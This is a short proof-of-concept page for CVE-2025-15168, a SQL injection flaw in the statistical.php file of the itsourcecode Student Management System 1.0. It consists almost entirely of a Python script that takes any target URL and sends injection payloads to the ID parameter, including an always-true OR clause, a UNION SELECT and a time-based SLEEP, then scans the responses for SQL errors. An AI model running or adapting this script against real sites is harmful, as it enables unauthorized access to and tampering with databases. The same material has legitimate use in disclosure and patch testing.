CVE-2025-15168: itsourcecode学生管理系统statistical.php文件SQL注入漏洞

# CVE-2025-15168 SQL Injection PoC # Target: itsourcecode Student Management System 1.0 # File: /statistical.php # Parameter: ID import requests import sys def test_sql_injection(url, param_id): # Basic SQL injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3--", "1' AND SLEEP(5)--", "1' OR 1=1 LIMIT 1--" ] print(f"[*] Testing SQL Injection on {url}") print(f"[*] Target parameter: {param_id}") for payload in payloads: try: target_url = f"{url}/statistical.php?ID={payload}" print(f"\n[+] Testing payload: {payload}") response = requests.get(target_url, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response length: {len(response.text)} bytes") # Check for SQL error messages sql_errors = ['sql', 'mysql', 'syntax', 'error', 'warning'] for error in sql_errors: if error.lower() in response.text.lower(): print(f"[!] Potential SQL error detected: {error}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15168.py <target_url>") print("Example: python cve-2025-15168.py http://target.com") sys.exit(1) target_url = sys.argv[1].rstrip('/') test_sql_injection(target_url, 'ID')